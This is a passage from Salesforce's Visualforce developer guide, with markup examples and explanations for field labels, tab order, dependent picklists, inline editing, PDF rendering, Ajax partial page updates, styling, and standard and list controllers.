<apex:inputSecret>, <apex:inputText>, or <apex:inputTextarea> tags instead.
<apex:page standardController="Contact">
<apex:form>
<apex:pageBlock title="Quick Edit: {!Contact.Name}">
<apex:pageBlockSection title="Contact Details" columns="1">
<apex:inputField value="{!Contact.Phone}"/>
<apex:outputField value="{!Contact.MobilePhone}"
label="Mobile #"/>
<apex:inputText value="{!Contact.Email}"
label="{!Contact.FirstName + '’s Email'}"/>
</apex:pageBlockSection>
<apex:pageBlockButtons >
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
</apex:pageBlock>
</apex:form>
</apex:page>
36
Getting a Quick Start with Visualforce Adding and Customizing Input Field Labels
Note: For this page to display contact data, the ID of a valid contact record must be specified as a query parameter
in the URL for the page. For example,
https://Salesforce_instance/apex/myPage?id=003D000000Q513R
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
The label attribute may be a string, or an expression which evaluates to a string. If you set label to an empty string, the
form label for that field will be suppressed.
The label attribute can be set on the following Visualforce components:
• <apex:inputCheckbox>
• <apex:inputField>
• <apex:inputSecret>
• <apex:inputText>
• <apex:inputTextarea>
• <apex:outputField>
• <apex:outputText>
• <apex:selectCheckboxes>
• <apex:selectList>
• <apex:selectRadio>
37
Getting a Quick Start with Visualforce Setting the Tab Order for Fields in a Form
<apex:page standardController="Account">
<apex:form>
<apex:pageBlock title="Edit Account: {!Account.Name}">
<apex:pageBlockSection title="Account Details" columns="1">
<apex:inputField value="{!Account.Name}" tabIndex="4"/>
<apex:inputField value="{!Account.Website}" tabIndex="3"/>
<apex:inputField value="{!Account.Industry}" tabIndex="2"/>
<apex:inputField value="{!Account.AnnualRevenue}" tabIndex="1"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
Notice that when you display this page and press TAB, the active field changes in the reverse order than you would normally
expect.
The tabIndex attribute should be an integer between 0 and 32767, or an expression which evaluates to an integer value in
the same range. The tab order begins with component 0 being the first component selected when a user presses TAB.
The tabIndex attribute can be set on the following Visualforce components:
• <apex:commandButton>
• <apex:commandLink>
• <apex:inputCheckbox>
• <apex:inputField>
• <apex:inputFile>
• <apex:inputSecret>
• <apex:inputText>
• <apex:inputTextarea>
• <apex:outputLabel>
• <apex:outputLink>
• <apex:selectCheckboxes>
• <apex:selectList>
• <apex:selectRadio>
38
Getting a Quick Start with Visualforce Setting the Tab Order for Fields in a Form
<apex:page controller="OppsController">
<apex:form>
<apex:dataTable value="{!OpportunitiesWithIndex}" var="oppWrapped">
<apex:column>
<apex:facet name="header">Opportunity</apex:facet>
<apex:outputField value="{!oppWrapped.opp.name}"/>
</apex:column>
<apex:column>
<apex:facet name="header">Amount</apex:facet>
<apex:inputField value="{!oppWrapped.opp.amount}"
tabindex="{!oppWrapped.tabIndex}"/>
</apex:column>
</apex:dataTable>
</apex:form>
</apex:page>
The <apex:dataTable> component does not iterate over a list of opportunity records, but a list of objects that wrap an
opportunity, referenced as {!oppWrapped.opp}, with its tabIndex, referenced as {!oppWrapped.tabIndex}. Here's
a controller that provides this collection:
39
Getting a Quick Start with Visualforce Adding Dependent Fields to a Page
1. Click Your Name > Setup > Customize > Accounts > Fields
2. Click New in the Custom Fields & Relationships section of the page.
3. Choose Picklist and click Next.
4. Enter Subcategories for the Field Label.
5. Enter the following terms for the list of values:
• Apple Farms
• Cable
• Corn Fields
• Internet
• Radio
• Television
• Winery
1. Click Your Name > Setup > Customize > Accounts > Fields
2. Click Field Dependencies.
3. Click New.
4. Choose Industry as a controlling field, and Subcategories as a dependent field.
5. Click Continue.
40
Getting a Quick Start with Visualforce Creating Visualforce Dashboard Components
6. Each value in the controlling field (from Industry) is listed in the top row and each value in the dependent field (from
Subcategory) is displayed in the column below it. Set your field dependencies to match this image:
You can disregard any other Industry types that aren't shown above.
7. Click Save.
Now, create a Visualforce page called dependentPicklists that looks like this:
<apex:page standardController="Account">
<apex:form >
<apex:pageBlock mode="edit">
<apex:pageBlockButtons >
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Dependent Picklists" columns="2">
<apex:inputField value="{!account.industry}"/>
<apex:inputField value="{!account.subcategories__c}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
When you select Agriculture from the Industry picklist, the Subcategories picklist contains Apple Farms, Corn Fields, and
Winery. If you select Communication, your Subcategories picklist contains all the Communication types defined earlier.
41
Getting a Quick Start with Visualforce Displaying Related Lists for Custom Objects
Create a Visualforce page called VFDashboard. The following markup shows an example of a Visualforce page that uses a
standard list controller and that can be used within a dashboard. It displays a list of the cases associated with your organization:
For a more complex example that uses a custom list controller, see Advanced Visualforce Dashboard Components on page
118.
42
Getting a Quick Start with Visualforce Enabling Inline Editing
Suppose you have three custom objects: MyChildObject, MyMasterObject, and MyLookupObject. MyChildObject has a
master-detail relationship with MyMasterObject (which is the master). MyLookupObject also has a Lookup relationship with
MyChildObject.
If you want to create a Visualforce page that displays the related list for MyMasterObject, use the following markup:
<apex:page standardController="MyMasterObject__c">
<apex:relatedList list="MyChildObjects__r" />
</apex:page>
For this page to display the related list data, the ID of a valid custom object record with a custom relationship must be specified
as a query parameter in the URL for the page, for example,
http://na3.salesforce.com/myCustomRelatedList?id=a00x00000003ij0.
<apex:page standardController="MyLookupObject__c">
<apex:relatedList list="MyChildObjects__r" />
</apex:page>
<apex:page standardController="Account">
<apex:detail subject="{!account.Id}" relatedList="false" />
</apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
Try to double-click one of the fields, like Account Number. You'll notice that nothing happens.
Now, replace the page with the following code:
<apex:page standardController="Account">
<apex:detail subject="{!account.Id}" relatedList="false" inlineEdit="true"/>
</apex:page>
Hover over any of the fields, and you'll notice that you can now edit their contents directly. Clicking Save at the top of the
section preserves all your changed information. Components that support inline editing must always be descendants of the
43
Getting a Quick Start with Visualforce Enabling Inline Editing
<apex:form> tag. However, the <apex:detail> component doesn't have to be a descendant of an <apex:form> to
support inline editing.
The <apex:inlineEditSupport> component must be a descendant of the following components:
• <apex:dataList>
• <apex:dataTable>
• <apex:form>
• <apex:outputField>
• <apex:pageBlock>
• <apex:pageBlockSection>
• <apex:pageBlockTable>
• <apex:repeat>
Here's a sample that demonstrates how you can create a page using <apex:pageBlockTable> that makes use of inline
editing:
• Inline editing isn't available for users with accessibility mode enabled.
• Inline editing isn't available for the following standard checkboxes on case and lead edit pages:
44
Getting a Quick Start with Visualforce Rendering a Page as a PDF
• Inline editing isn't supported for dependent picklists when using <apex:outputField>.
• Inline editing isn't supported for standard rich text area (RTA) fields, such as Idea.Body, that are bound to
<apex:outputField> when Visualforce pages are served from a separate domain, other than the salesforce.com domain.
By default, Visualforce pages are served from a separate domain unless your administrator has disabled this setting. Custom
RTA fields aren't affected by this limitation and support inline editing.
<apex:page renderAs="pdf">
<apex:page renderas="pdf">
<html>
<head>
<style> body { font-family: Arial Unicode MS; } </style>
</head>
This page is rendered as a PDF
</html>
</apex:page>
• The maximum response size when creating a PDF must be below 15 MB, before being rendered as a PDF. This is the
standard limit for all Visualforce requests.
45
Getting a Quick Start with Visualforce Rendering a Page as a PDF
◊ <apex:pageBlock>
◊ <apex:sectionHeader>
These components are not recommended for use in pages rendered as a PDF.
For more information, see Best Practices for Rendering PDFs on page 253.
In the previous tutorial, you used a Visualforce page to change the name of a company. Suppose you wanted to generate an
announcement of the new name as a PDF. The following example produces such a page, along with the current date and time:
• <style> is actually part of CSS markup, not Visualforce markup. It defines the font family used for the entire page, as
well as a particular style for the company name.
• <center> is also CSS markup that aligns the text in the center of the page.
• Some of the output text is contained in an <apex:panelGrid> component. A panel grid renders as an HTML table.
Each component found in the body of the <apex:panelGrid> component is placed into a corresponding cell in the first
row until the number of columns is reached. As there is only a single cell, each output text is displayed in a separate row.
46
Getting a Quick Start with Visualforce Building a Table of Data in a Page
See Also:
Styling Visualforce Pages
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are viewing the {!account.name} account.
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
47
Getting a Quick Start with Visualforce Editing a Table of Data in a Page
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
Like other iteration components, <apex:pageBlockTable> includes two required attributes, value and var:
• value takes a list of sObject records or values of any other Apex type. In the example above, {!account.Contacts}
retrieves the ID of the account that is currently in context and then traverses the relationship to retrieve the list of the
associated contacts.
• var specifies the name of the iteration variable. This variable is used within the body of the <apex:pageBlockTable>
tag to access the fields on each contact. In this example, value="{!contact.Name}" is used on the <apex:column>
tag to display the name of the contact.
The <apex:pageBlockTable> component takes one or more child <apex:column> components. The number of rows
in the table is controlled by the number of records returned with the value attribute.
Note: The <apex:pageBlockTable> component automatically takes on the styling of a standard Salesforce list.
To display a list with your own styling, use <apex:dataTable> instead.
48
Getting a Quick Start with Visualforce Using Query String Parameters in a Page
<apex:pageBlockButtons>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:column headerValue="Industry">
<apex:inputField value="{!a.Industry}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:form>
</apex:page>
Note: If you have an ID attribute in the URL, this page does not display correctly. For example,
https://c.na1.visual.soma.force.com/apex/HelloWorld?id=001D000000IR35T
produces an error. You need to remove the ID from the URL.
• This page takes advantage of standard set controllers to generate the data for the table. Use the recordSetVar attribute
to specify the name of the set of data you want to use. Then, in the <apex:pageBlockTable> value, use the name of
that set to populate the table with data.
• The <apex:inputField> tag automatically generates the correct display for the field. In this case, as a dropdown list.
• The page must be enclosed in an <apex:form> tag in order to use the <apex:commandButton> tag. A form specifies
a portion of a Visualforce page that users can interact with.
49
Getting a Quick Start with Visualforce Getting Query String Parameters
$CurrentPage.parameters.parameter_name
For example, suppose you want to add detail information about a specific contact to an Account page. The account record ID
is specified by the default id query string parameter, and the contact record ID is specified by the query string parameter
named cid:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are displaying values from the {!account.name} account and a separate contact
that is specified by a query string parameter.
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1">
<apex:column>
<apex:facet name="header">Name</apex:facet>
{!contact.Name}
</apex:column>
<apex:column>
<apex:facet name="header">Phone</apex:facet>
{!contact.Phone}
</apex:column>
</apex:dataTable>
</apex:pageBlock>
<apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false" title="false"/>
</apex:page>
For this example to render properly, you must associate the Visualforce page with valid account and contact IDs in the URL.
For example, if 001D000000IRt53 is the account ID and 003D000000Q0bIE is the contact ID, the resulting URL should
be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53&cid=003D000000Q0bIE
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
50
Getting a Quick Start with Visualforce Setting Query String Parameters in Links
<apex:outputLink value="http://google.com/search?q={!account.name}">
Search Google
</apex:outputLink>
<apex:outputLink value="http://google.com/search">
Search Google
<apex:param name="q" value="{!account.name}"/>
</apex:outputLink>
The latter method, which uses <apex:param> tags instead of manually creating the URL, is preferable for stylistic reasons.
51
Getting a Quick Start with Visualforce Getting and Setting Query String Parameters on a Single Page
When used with a standard controller, command links always entirely refresh the current page with the new information added
to the page—in this case, an updated cid that updates the contact detail component.
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are displaying contacts from the {!account.name} account.
Click a contact's name to view his or her details.
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:form>
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4"
border="1">
<apex:column>
<apex:facet name="header">Name</apex:facet>
<apex:commandLink>
{!contact.Name}
<apex:param name="cid" value="{!contact.id}"/>
</apex:commandLink>
</apex:column>
<apex:column>
<apex:facet name="header">Phone</apex:facet>
{!contact.Phone}
</apex:column>
</apex:dataTable>
</apex:form>
</apex:pageBlock>
<apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false" title="false"/>
</apex:page>
After saving this markup, refresh your browser with the id query string parameter but without the cid parameter in the URL
For example,
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
Initially the contact detail page is not rendered, but when you click a contact name the page renders the appropriate detail
view.
52
Getting a Quick Start with Visualforce Using Ajax in a Page
Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
See Also:
Controller Methods
1. First, create or identify the portion of the page that should be rerendered. To do this, wrap the <apex:detail> tag in
an <apex:outputPanel> tag, and give the output panel an id parameter. The value of id is the name that we can use
elsewhere in the page to refer to this area. It must be unique in the page.
2. Next, indicate the point of invocation (the command link) that we want to use to perform a partial page update of the area
that we just defined. To do this, add a reRender attribute to the <apex:commandLink> tag, and give it the same value
that was assigned to the output panel's id.
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are displaying contacts from the {!account.name} account.
Click a contact's name to view his or her details.
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:form>
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4"
border="1">
<apex:column>
<apex:commandLink rerender="detail">
53
Getting a Quick Start with Visualforce Providing Status for Asynchronous Operations
{!contact.Name}
<apex:param name="cid" value="{!contact.id}"/>
</apex:commandLink>
</apex:column>
</apex:dataTable>
</apex:form>
</apex:pageBlock>
<apex:outputPanel id="detail">
<apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false"
title="false"/>
</apex:outputPanel>
</apex:page>
After saving the page, click any contact and notice how the detail component displays without a complete page refresh.
Note: You cannot use the reRender attribute to update content in a table.
In the following example, <apex:actionStatus> supports a facet named “stop” that contains the component that should
be displayed as soon as the action completes—in this case, the detail area:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are displaying contacts from the {!account.name} account.
Click a contact's name to view his or her details.
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:form>
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4"
border="1">
<apex:column>
54
Getting a Quick Start with Visualforce Applying Ajax Behavior to Events on Any Component
<apex:commandLink rerender="detail">
{!contact.Name}
<apex:param name="cid" value="{!contact.id}"/>
</apex:commandLink>
</apex:column>
</apex:dataTable>
</apex:form>
</apex:pageBlock>
<apex:outputPanel id="detail">
<apex:actionStatus startText="Requesting...">
<apex:facet name="stop">
<apex:detail subject="{!$CurrentPage.parameters.cid}"
relatedList="false" title="false"/>
</apex:facet>
</apex:actionStatus>
</apex:outputPanel>
</apex:page>
Remember when you visit this page, to include an ID as part of the URL. For example,
https://Salesforce_instance/apex/ajaxAsyncStatus?id=001x000xxx3Jsxb
• The <apex:outputPanel> tag defines the area over in which we want the specialized behavior.
• The <apex:actionSupport> tag defines the partial page update behavior that was implemented previously by the
command link.
◊ The event attribute specifies the JavaScript event that should trigger the update. Whereas <apex:commandLink>
only executes during the “onclick” event, <apex:actionSupport> can execute on any valid event such as “onclick”,
“ondblclick”, or, for this example, “onmouseover”.
◊ The reRender attribute specifies which part of the page should refresh.
◊ The <apex:param> tag sets the value of the cid query string parameter when the specified event occurs.
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You are displaying contacts from the {!account.name} account.
Mouse over a contact's name to view his or her details.
</apex:pageBlock>
<apex:pageBlock title="Contacts">
<apex:form>
<apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4"
border="1">
<apex:column>
<apex:outputPanel>
<apex:actionSupport event="onmouseover" rerender="detail">
<apex:param name="cid" value="{!contact.id}"/>
</apex:actionSupport>
55
Getting a Quick Start with Visualforce Applying Ajax Behavior to Events on Any Component
{!contact.Name}
</apex:outputPanel>
</apex:column>
</apex:dataTable>
</apex:form>
</apex:pageBlock>
<apex:outputPanel id="detail">
<apex:actionStatus startText="Requesting...">
<apex:facet name="stop">
<apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false"
title="false"/>
</apex:facet>
</apex:actionStatus>
</apex:outputPanel>
</apex:page>
After saving the page, move the mouse over any contact and notice that the detail area refreshes appropriately without clicking
on it.
See Also:
Using JavaScript in Visualforce Pages
56
Chapter 4
Styling Visualforce Pages
It is easy to style a Visualforce page, either by mimicking the look and feel of a standard Salesforce page, or by using your own
stylesheets or content types.
Many Visualforce components contain the style or styleClass attribute. Defining either of these attributes allows you to
associate CSS code with the component. Custom CSS code enables you to change the default visual style of a component,
including its width, height, color, and font.
The following topics provide more information on modifying the appearance of Visualforce components:
• Using Salesforce Styles
• Using Custom Styles
• Using Content Type
• When you use a standard controller with a Visualforce page, your new page takes on the style of the associated object's
standard tab in Salesforce. It also allows you to access the methods and records associated with the associated object.
• When you use a custom controller, the tabStyle attribute of an <apex:page> tag allows you to mimic the look and
feel of the associated Salesforce page. If you only want portions of the page to be similar to a Salesforce page, you can use
the tabStyle attribute on the <apex:pageBlock> tag. For an example, see Defining Getter Methods on page 106.
For more information on customizing the Salesforce user interface, see “Customizing User Interface Settings” in the online
help.
57
Styling Visualforce Pages Using Salesforce Styles
global variable in the <apex:stylesheet> tag's value attribute. The styleClass attribute of the <apex:outputText>
tag uses the sample style class defined in the style sheet.
<apex:page>
<apex:stylesheet value="{!$Resource.TestStyles}"/>
<apex:outputText value="Styled Text in a sample style class" styleClass="sample"/>
</apex:page>
.sample {
font-weight:bold;
}
Suppose a developer has hard coded some CSS styles to resemble Salesforce. In order to preserve the same look and feel on
the Visualforce page for new styles, the developer needs to select between several stylesheets to handle the preferences of the
user. The following example shows one possible way of accomplishing this:
<apex:page standardController="Account">
<apex:variable var="newUI" value="newSkinOn"
rendered="{!$User.UIThemeDisplayed = 'Theme3'}">
<apex:stylesheet value="{!URLFOR($Resource.myStyles, 'newStyles.css')}" />
</apex:variable>
<apex:variable var="oldUI" value="oldSkinOn"
rendered="{!$User.UIThemeDisplayed != 'Theme3'}">
<apex:stylesheet value="{!URLFOR($Resource.myStyles, 'oldStyles.css')}" />
</apex:variable>
<!-- Continue page design -->
</apex:page>
58
Styling Visualforce Pages Using Custom Styles
Even if a new look and feel is enabled for your users, they may not be running the right browser or accessibility settings to see
it. Here's a code example that makes use of the $User.UITheme variable to present alternate information to the user:
Notice that although $User.UITheme equals Theme3, $User.UIThemeDisplayed doesn't, and so the page won't render
to its full potential.
Salesforce uses different stylesheets (.css files) throughout the application to ensure that every tab conforms to the Salesforce
look and feel. When you specify true for the header attribute of the <apex:page> tag (or leave it blank, as the default is
true) these stylesheets are automatically included. You can reference these stylesheets to further customize the components on
your page. This is relevant when you use a custom controller and you do not set the tabStyle attribute on the page.
The following stylesheets contain the style classes that you can reference. They are located in the /dCSS/ directory of your
salesforce.com instance.
• dStandard.css – Contains the majority of style definitions for standard objects and tabs
• allCustom.css – Contains style definitions for custom tabs
More information on the Salesforce style sheets is available on the Developer Force website at
http://wiki.developerforce.com/page/Using_the_Salesforce_CSS_in_Your_Apps.
<apex:page>
<style type="text/css">
p {font-weight: bolder }
</style>
</apex:page>
59
Styling Visualforce Pages Using Custom Styles
The following example shows how to reference a stylesheet that is defined as a static resource. First, create a stylesheet like
the one below and upload it as a static resource named customCSS:
h1 { color: #FF0000; }
p { background-color: #EEEECC; }
<apex:page showHeader="false">
<apex:stylesheet value="{!$Resource.customCSS}" />
</apex:page>
Tip:
To shrink the size of your page, you can stop the standard Salesforce stylesheets from loading by setting the
standardStylesheets attribute on the <apex:page> component to false:
<apex:page standardStylesheets="false">
<!-- page content here -->
</apex:page>
Note that if you don't load these style sheets, components that require Salesforce CSS may not display correctly, and
their styling may change between releases.
All Visualforce components that produce HTML have pass-through style and styleClass attributes. They allow you to
use your own styles and style classes to control the look and feel of any HTML tag. For example, the following code sets the
class of the <apex:outputText> and applies a style:
<apex:page>
<style type="text/css">
.italicText { font-style:italic; }
</style>
<apex:outputText styleClass="italicText" value="This is kind of fancy." />
</apex:page>
If you want to use a CSS ID, you must use CSS attribute selectors. Attribute selectors rely on the definition of an attribute,
rather than an HTML tag, to apply a CSS style. You can set the id value on any Visualforce component; however, that id
is sometimes preprended with the id of parent components. For instance, the id of the following code is j_id0:myId:
<apex:page>
<apex:outputText id="myId" value="This is less fancy." />
</apex:page>
60
Styling Visualforce Pages Using Content Type
Your CSS should take this into consideration by applying an attribute selector:
<apex:page>
<style type="text/css">
[id*=myId] { font-style: stronger; }
</style>
<apex:outputText id="myId" value="This is way fancy !" />
</apex:page>
If you intend to use images in your stylesheet, zip the images with the CSS file and upload it as a single static resource. For
example, if your CSS file has a line like the following:
Add the entire images directory and the parent CSS file into a single zip. For example, if the zip file resource name is
myStyles, refer to it like this:
<apex:page standardController="Account">
<apex:pageBlock title="Contacts">
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
61
Styling Visualforce Pages Using a Custom Doctype
To display this page in Excel, add the contentType attribute to the <apex:page> tag, as follows:
If the page does not display properly in Excel, try a different content-type, such as text/rtf.
You can specify a different doctype for a Visualforce page by using the docType attribute on the <apex:page> tag.
The docType attribute takes a string representing the document type. The format of the string is:
<doctype>-<version>[-<variant>]
where
◊ strict, transitional, or frameset for all html document types and the xhmtl-1.0 document type, or
◊ <blank> or basic for the xhmtl-1.1 document type
If an invalid document type is specified, the default doctype will be used. For more information about valid HTML doctypes,
see the list at the W3C website.
62
Styling Visualforce Pages Using a Custom Doctype
Note: Visualforce doesn't alter markup generated by components to match the doctype, nor the markup for standard
Salesforce elements such as the header and sidebar. Salesforce elements are valid for most doctypes and function
properly with any doctype, but if you choose a strict doctype and wish to pass an HTML validation test, you may need
to suppress or replace the standard Salesforce elements.
63
Chapter 5
Standard Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified
in associated Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that
should be displayed in a page, and can modify component behavior.
The Force.com platform provides a number of standard controllers that contain the same functionality and logic that are used
for standard Salesforce pages. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce
page results in the same behavior as clicking Save on a standard Account edit page.
A standard controller exists for every Salesforce object that can be queried using the Force.com API.
The following topics include additional information about using standard controllers:
• Associating a Standard Controller with a Visualforce Page
• Accessing Data with a Standard Controller
• Using Standard Controller Actions
• Validation Rules and Standard Controllers
• Styling Pages that Use Standard Controllers
• Checking for Object Accessibility
• Custom Controllers and Controller Extensions
<apex:page standardController="MyCustomObject__c">
</apex:page>
Note: When you use the standardController attribute on the <apex:page> tag, you cannot use the controller
attribute at the same time.
64
Standard Controllers Accessing Data with a Standard Controller
As with queries in the Force.com API, you can use merge field syntax to retrieve data from related records:
• You can traverse up to five levels of child-to-parent relationships. For example, if using the Contact standard controller,
you can use {!contact.Account.Owner.FirstName} (a three-level child-to-parent relationship) to return the name
of the owner of the account record that is associated with the contact.
• You can traverse one level of parent-to-child relationships. For example, if using the Account standard controller, you can
use {!account.Contacts} to return an array of all contacts associated with the account that is currently in context.
The following table describes the action methods that are supported by all standard controllers. You can associate these actions
with any Visualforce component that includes an action attribute.
Action Description
save Inserts a new record or updates an existing record if it is currently in context. After this
operation is finished, the save action returns the user to the original page (if known), or
navigates the user to the detail page for the saved record.
quicksave Inserts a new record or updates an existing record if it is currently in context. Unlike the save
action, this page does not redirect the user to another page.
65
Standard Controllers Validation Rules and Standard Controllers
Action Description
edit Navigates the user to the edit page for the record that is currently in context. After this
operation is finished, the edit action returns the user to the page where the user originally
invoked the action.
delete Deletes the record that is currently in content. After this operation is finished, the delete
action either refreshes the page or sends the user to tab for the associated object.
cancel Aborts an edit operation. After this operation is finished, the cancel action returns the user
to the page where the user originally invoked the edit.
list Returns a PageReference object of the standard list page, based on the most recently used list
filter for that object. For example, if the standard controller is contact, and the last filtered
list that the user viewed is New Last Week, the contacts created in the last week are displayed.
For example, the following page allows you to update an account. When you click Save, the save action is triggered on the
standard controller, and the account is updated.
<apex:page standardController="Account">
<apex:form>
<apex:pageBlock title="My Content" mode="edit">
<apex:pageBlockButtons>
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="My Content Section" columns="2">
<apex:inputField value="{!account.name}"/>
<apex:inputField value="{!account.site}"/>
<apex:inputField value="{!account.type}"/>
<apex:inputField value="{!account.accountNumber}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
Note: Command buttons and links that are associated with save, quicksave, edit, or delete actions in a standard
controller are only rendered if the user has the appropriate permissions. Likewise, if no particular record is associated
with a page, command buttons and links associated with the edit and delete actions are not rendered.
66
Standard Controllers Styling Pages that Use Standard Controllers
component, the error displays there. If the validation rule error location is set to the top of the page, use the
<apex:pageMessages> or <apex:messages> component within the <apex:page> to display the error.
To use the styling associated with a custom Visualforce tab, set the attribute to the name (not label) of the tab followed by a
double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source and a label
Sources, use:
Alternatively, you can override standard controller page styles with your own custom stylesheets and inline styles.
See Also:
Styling Visualforce Pages
{!$ObjectType.objectname.accessible}
67
Standard Controllers Checking for Object Accessibility
For example, to check if you have access to the standard Lead object, use the following code:
{!$ObjectType.Lead.accessible}
{!$ObjectType.MyCustomObject__c.accessible}
<apex:page standardController="Lead">
<apex:pageBlock rendered="{!$ObjectType.Lead.accessible}">
<p>This text will display if you can see the Lead object.</p>
</apex:pageBlock>
</apex:page>
It is good practice to provide an alternative message if a user cannot access an object. For example:
<apex:page standardController="Lead">
<apex:pageBlock rendered="{!$ObjectType.Lead.accessible}">
<p>This text will display if you can see the Lead object.</p>
</apex:pageBlock>
<apex:pageBlock rendered="NOT({!$ObjectType.Lead.accessible})">
<p>Sorry, but you cannot see the data because you do not have access to the Lead object.</p>
</apex:pageBlock>
</apex:page>
68
Chapter 6
Standard List Controllers
Standard list controllers allow you to create Visualforce pages that can display or act on a set of records. Examples of existing
Salesforce pages that work with a set of records include list pages, related lists, and mass action pages. Standard list controllers
can be used with the following objects:
• Account
• Asset
• Campaign
• Case
• Contact
• Contract
• Idea
• Lead
• Opportunity
• Order
• Product2
• Solution
• User
• Custom objects
The following topics include additional information about using standard list controllers:
• Associating a Standard List Controller with a Visualforce Page
• Accessing Data with List Controllers
• Using Standard List Controller Actions
• Using List Views with Standard List Controllers
• Overriding Tabs Using a Standard List Controller
• Adding Custom List Buttons using Standard List Controllers
69
Standard List Controllers Accessing Data with List Controllers
Note: When you use the standardController attribute on the <apex:page> tag, you cannot use the controller
attribute at the same time.
The recordSetVar attribute not only indicates that the page uses a list controller, it can indicates the variable name of the
record collection. This variable can be used to access data in the record collection.
This results in a page that lists all the account names in your organization, similar to the following:
Note: This page does not specify a filter in the request, so the page is displayed with the last used filter. For information
on using filters with list controllers, see Using List Views with Standard List Controllers on page 129.
As with queries in the Force.com API, you can use expression language syntax to retrieve data from related records. As with
standard controllers, you can traverse up to five levels of child-to-parent relationships and one level of parent-to-child
relationships.
When you are using a standard list controller, the returned records sort on the first column of data, as defined by the current
view, even if that column is not rendered. When you use an extension or custom list controller, you can control the sort method.
Note: No more than 10,000 records can be returned by a list controller.
See Also:
“Relationship Queries” in the Web Services API Developer’s Guide
70
Standard List Controllers Using Standard List Controller Actions
The following table describes the action methods that are supported by all standard list controllers. You can associate these
actions with any Visualforce component that includes an action attribute.
Action Description
save Inserts new records or updates an existing records that have been changed. After this operation
is finished, the save action returns the user to the original page (if known) or the home page.
quicksave Inserts new records or updates existing records that have been changed. Unlike the save action,
this page does not redirect the user to another page.
list Returns a PageReference object of the standard list page, based on the most recently used list
